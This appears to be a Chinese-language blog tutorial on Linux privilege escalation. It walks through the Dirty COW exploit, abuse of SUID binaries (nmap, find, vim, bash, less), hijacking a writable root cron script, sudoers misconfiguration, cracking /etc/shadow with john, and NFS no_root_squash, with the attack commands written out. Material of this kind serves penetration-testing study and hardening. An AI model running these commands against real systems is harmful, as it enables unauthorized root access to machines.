1、内核漏洞脏牛提权
查看发行版本 |
cat /etc/issue |
cat /etc/*-release |
|
查看内核版本信息
uname -a
具体提权
1、信息收集配合kali提权
uname -a #查看内核版本信息
内核版本为3.2.78,那我们可以搜索该版本漏洞
searchsploit linux 3.2.78
找到几个可以使用的脏牛提权脚本,这里我使用的是40839.c脚本
那我们把这个文件也进行上传
然后在我们反弹的shell上查看,发现上传成功。
我们可以先看看脚本
利用提示对脚本进行编译
gcc -pthread 40839.c -o 40839 -lcrypt
运行然后输入密码即可
接下来我们通过
su firefart #切换用户
2、利用linux-exploit-suggester、linux-exploit-suggester-2等工具
linux-exploit-suggester
linux-exploit-suggester-2
2、SUID配置错误提权
SUID简介
1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
2.命令执行者要对该程序文件拥有执行(x)权限.
3.命令执行者在执行该程序时获得该程序文件属主的身份.
4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
SUID设置方法
1、chmod u+s FILE...
2、chmod u-s FILE…
具体提权
SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限
常见Linux中root文件列表如下
nmap
vim
find
bash
more
less
nano
cp
利用如下POC
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
各命令提权利用
nmap
旧版本的 Nmap(2.02 到 5.21)具有交互模式,允许用户执行 shell 命令。由于 Nmap 位于以 root 权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。
nmap --interactive #启动交互模式
nmap> !sh
sh-3.2# whoami
root
或者有一个 Metasploit 模块,它通过 SUID Nmap 二进制文件执行权限提升。
exploit/unix/local/setuid_nmap
find
实用程序find可用于发现存储在系统上。然而,它是执行命令的能力。因此,如果它被配置为使用 SUID 权限运行,那么所有将通过 find 执行的命令都将以 root 身份执行。
我们拿到一个非root权限
touch abc
find abc -exec whoami \;
vim
Vim 的主要用途是作为文本编辑器。但是,如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。
vim.tiny /etc/shadow
还可以通过vim来打开shell
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
Bash
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
less和more
less /etc/passwd
!/bin/sh
3、计划任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。
利用命令如下命令列出一些计划任务
ls -l /etc/cron*
cat /etc/crontab
在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升
权限配置不当
首先我们拿到一个非root用户的账号,我们通过一些其他的手段提权都失败了,这个时候我们查看了一下计划任务
cat /etc/crontab
发现存在一个root身份运行的test.sh,那我们当相应的目录下去查看一下这个计划任务
cd /sbin;ls -l test.sh
发现这里权限配置为777,就是说我们普通用户也能去修改这个test.sh文件,那我们对文件进行修改,然后进行提权。
cp /bin/bash /tmp/bash; chmod u+s /tmp/bash;
接下来就到/tmp等待计划任务的执行
产生后对bash文件进行执行即可进行提权
4、sudo提权
普通用户一般是无法运行root所有者的命令的,运用sudo可以使普通用户使用root用户的命令。但是在一些场景下,管理员为了平常运营方便给sudoer文件配置不当,从而导致权限提升的问题产生。
一般情况下,我们使用sudo命令都需要输入root密码
管理可能为了方便对/etc/sudoers进行编辑成sudo免密码
vim /etc/sudoers
添加:test ALL=(ALL:ALL) NOPASSWD:ALL #test为我们的用户
添加后我们在进行重新进行读取
5、明文root密码提权
大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。
当我们的passwd和shadow一些权限配置不当就可能会导致提权
passwd文件
test:x:1000:1000::/home/test:/bin/bash
passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了(非root用户不可读)。
当我们的passwd文件给普通用户配置了写权限,那么我们就可以通过修改x为一段已知的密码的hash值来进行提权。
shadow文件
test:$6$Mqh9T8ip$4Ev.HJTBdyobrYaW/KzBlL0yx6wefeB.VDcE7KiDiwoUvGkqShU9jRK4cEZA2kBRsyH2fWjmbxc/ZyVWfXwFJ/:18849:0:99999:7:::
假如我们对shadow文件有读取权限我们就可以利用hash、john等对其进行爆破
这里以john为例进行演示,首先把passwd和shadow两文件放在同一文件下
john --user=test test.hash
6、密码复用提权
当我们获取到一些如数据库、后台 web 密码,可能就是 root 密码
7、第三方服务提权
netstat -antup #查看各种网络服务
1、NFS提权
当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。
①查看NFS服务器上的共享目录
sudo showmount -e x.x.x.x
②创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。
sudo mkdir -p /tmp
sudo mount -t nfs x.x.x.x:/home/test /tmp
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
③回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。
2、数据库提权(篇幅教长,后续另起篇幅)
①UDF提权
②MOF提权
③启动项提权
④CVE-2016-6663、CVE-2016-6664组合提权
⑤反弹端口提权